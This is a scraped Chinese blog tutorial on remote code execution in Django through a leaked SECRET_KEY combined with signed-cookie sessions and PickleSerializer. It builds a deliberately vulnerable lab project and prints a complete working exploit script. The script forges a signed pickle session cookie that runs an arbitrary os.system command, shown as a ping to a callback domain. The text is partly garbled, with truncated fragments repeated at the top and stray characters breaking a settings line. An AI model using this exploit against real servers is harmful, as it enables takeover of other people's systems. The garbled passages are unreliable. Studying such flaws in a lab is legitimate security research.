Django的Secret Key泄漏导致的命令执行实践
2018-02-19 10:45
267 查看
http://www.polaris-lab.com/index.php/archives/426/
The secret key is used for:
All sessions if you are using any other session backend than
All messages if you are using
All
Any usage of cryptographic signing, unless a different key is provided.
Secret Key泄漏可能的攻击面:
远程代码执行,如果使用了
任意密码重置,
CSRF
...
我们主要关注远程代码执行这个点。
如下图,session的key和data都是存储在sqlite数据库中的,这是默认的设置,当用户带着cookie来请求服务端时,cookie中包含的是
缓存(cached sessions)
文件系统(file-based sessions)
Cookie(cookie-based sessions)
当Django使用了这种方式的时候,和其它几种方式不同的是,它将
而我们这里关注的是Secret Key泄漏的情况,它有2个关键点:
使用了
使用了
注:Django1.5级以下,session默认是采用pickle执行序列号操作
Djgano测试环境部署:
以上就完成了环境的准备,运行
poc.py的内容如下:
PoC脚本最好使用原生的库或者方法来进行其中的payload生成操作。比如上面的poc.py中,可以使用
本文环境和代码的下载地址:
https://github.com/bit4woo/code2sec.com/tree/master/code/testproject
0x01 Secret Key的用途和泄漏导致的攻击面
Secret Key主要用于加密、签名,下面是官方文档的说明:The secret key is used for:
All sessions if you are using any other session backend than
django.contrib.sessions.backends.cache, or are using the
defaultget_session_auth_hash().
All messages if you are using
CookieStorageor
FallbackStorage.
All
PasswordResetViewtokens.
Any usage of cryptographic signing, unless a different key is provided.
Secret Key泄漏可能的攻击面:
远程代码执行,如果使用了
cookie-based sessions。当然其他可以操作
session_data的问题都可能导致
任意密码重置,
contrib.auth.token.
CSRF
...
我们主要关注远程代码执行这个点。
0x02 Django Session的几种方式
数据库(database-backed sessions)如下图,session的key和data都是存储在sqlite数据库中的,这是默认的设置,当用户带着cookie来请求服务端时,cookie中包含的是
session_key,服务端会根据这个
session_key来查询数据库,从而获取到
session_data。就是说
session_data是存在服务端的。
缓存(cached sessions)
文件系统(file-based sessions)
Cookie(cookie-based sessions)
当Django使用了这种方式的时候,和其它几种方式不同的是,它将
session_data也是存在于cookie中的,即存在于客户端的。但它是经过签名的,签名依赖于django 的Secret Key,所以如果我们知道了Secret Key将可能修改
session_data。这也是我们将要讨论的重点。
0x03 环境准备
关于通过操作session来实现命令执行有一个很好的案例。在学习Pickle反序列化的时候就看过,其中的关键是Django在取得session_data之后,需要进行反序列化操作才能获取其中的数据。所以,如果能有机会操作
session_data,就有可能导致代码执行。
而我们这里关注的是Secret Key泄漏的情况,它有2个关键点:
使用了
cookie-based sessions
使用了
serializers.PickleSerializer
注:Django1.5级以下,session默认是采用pickle执行序列号操作
django.contrib.sessions.serializers.PickleSerializer;在1.6 及以上版本默认采用json序列化。
django.contrib.sessions.serializers.JSONSerializer
Djgano测试环境部署:
#命令行下运行如下命令来创建项目 django-admin startproject testproject #在项目中创建应用 cd testproject python manage.py startapp testapp #在setting.py中新增SESSION_ENGINE和SESSION_SERIALIZER配置。这是漏洞存在的必要条件! SESSIO c048 N_ENGINE = 'django.contrib.sessions.backends.signed_cookies' #SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' #因为我的环境中使用的Django1.11,默认使用的是JSONSerializer,所以需要配置这一条。urls.py的内容如下:
from django.conf.urls import url from django.contrib import admin from testapp import views urlpatterns = [ url(r'.*$', views.index), url(r'^admin/', admin.site.urls), ]views.py中的内容如下:
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import render from django.http import HttpResponse # Create your views here. def index(request): x= request.session print x.values print dir(x) print x.serializer print x['userid'] #这一句是关键,需要有尝试从session中取数据的行为,django才会去执行反序列 return HttpResponse(x)注意:必须要有尝试从session中取数据的行为,Django才会去执行反序列,否则将不能触发!所以实际的环境中,最好选择用户信息相关接口等一定会取数据的接口进行测试。
以上就完成了环境的准备,运行
python manage.py runserver启动服务。
0x04 PoC及验证
关于Pickle PoC的生成方法,可以参考我之前的文章Python Pickle的任意代码执行漏洞实践和Payload构造。poc.py的内容如下:
# !/usr/bin/env python # -*- coding:utf-8 -*- __author__ = 'bit4' __github__ = 'https://github.com/bit4woo' import os import requests from django.contrib.sessions.serializers import PickleSerializer from django.core import signing import pickle def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',): class Run(object): def __reduce__(self): #return (os.system,('ping test.0y0.link',)) return (os.system,(command,)) #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f' SECRET_KEY = SECRET_KEY sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies') #生成的恶意session print sess ''' salt='django.contrib.sessions.backends.signed_cookies' sess = pickle.dumps(Run()) sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。 sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess) print sess #这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。 ''' session = 'sessionid={0}'.format(sess) return session def exp(url,SECRET_KEY,command): headers = {'Cookie':session_gen(SECRET_KEY,command)} proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包 response = requests.get(url,headers= headers,proxies = proxy) #print response.content if __name__ == '__main__': url = 'http://127.0.0.1:8000/' SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f' command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link' exp(url,SECRET_KEY,command)运行poc.py时,后台的输出结果:
print x['userid']对应了2个动作,一是反序列化,也就是执行系统命令的关键;二是取值,这里是取值失败打印了错误信息,但是这已经不重要了,因为我们已经实现了我们的目的。
PoC脚本最好使用原生的库或者方法来进行其中的payload生成操作。比如上面的poc.py中,可以使用
signing.dumps,也可单独使用
pickle.dumps然后加上其他操作,但是最好使用第一种,这样可以很好地保证Payload的正确性。而且实际的环境中,如果能获取到目标的具体版本,最好通过配置相应版本的环境来完成PoC的生成。
本文环境和代码的下载地址:
https://github.com/bit4woo/code2sec.com/tree/master/code/testproject
相关文章推荐
- 没有lib,导致执行命令时出现“/bin/sh: ./iwconfig: not found”
- crle -l /export/home 导致系统命令不能执行
- yum命令执行报错(python升级导致)
- django 远程执行命令
- Discuz! 6.x/7.x 全局变量防御绕过导致命令执行
- Docker实践(三):容器内信息获取、命令的执行、容器的导入和导出
- 关于docker中执行docker命令的实践
- Linux Crontab 定时任务 命令详解——Django中执行定时脚本
- django中使用paramiko远程执行命令
- ThinkPHP 框架2.1,2.2和3.0版本开启lite模式导致URL命令执行漏洞
- shell脚本中赋值给变量中有空格, 导致命令执行失败
- 在串口执行shell命令导致死锁。rtmutex相关故障排查方法。
- 通过部署好的DJANGO服务器执行WINDOWS命令
- Mac下配置环境导致终端无法执行.bash_profile命令的解决方法
- Linux 升级修改libc gcc 文件名称,导致执行命令失效问题解决
- docker rmi 导致后面的命令不执行问题 Dockerfile设置时区问题
- websocket+Django+python+paramiko实现web页面执行服务器命令和脚本
- [linux]因python升级导致的yum命令无法执行
- 全局变量导致所有命令都执行不了。
- S8016一次性执行大量命令导致网络中断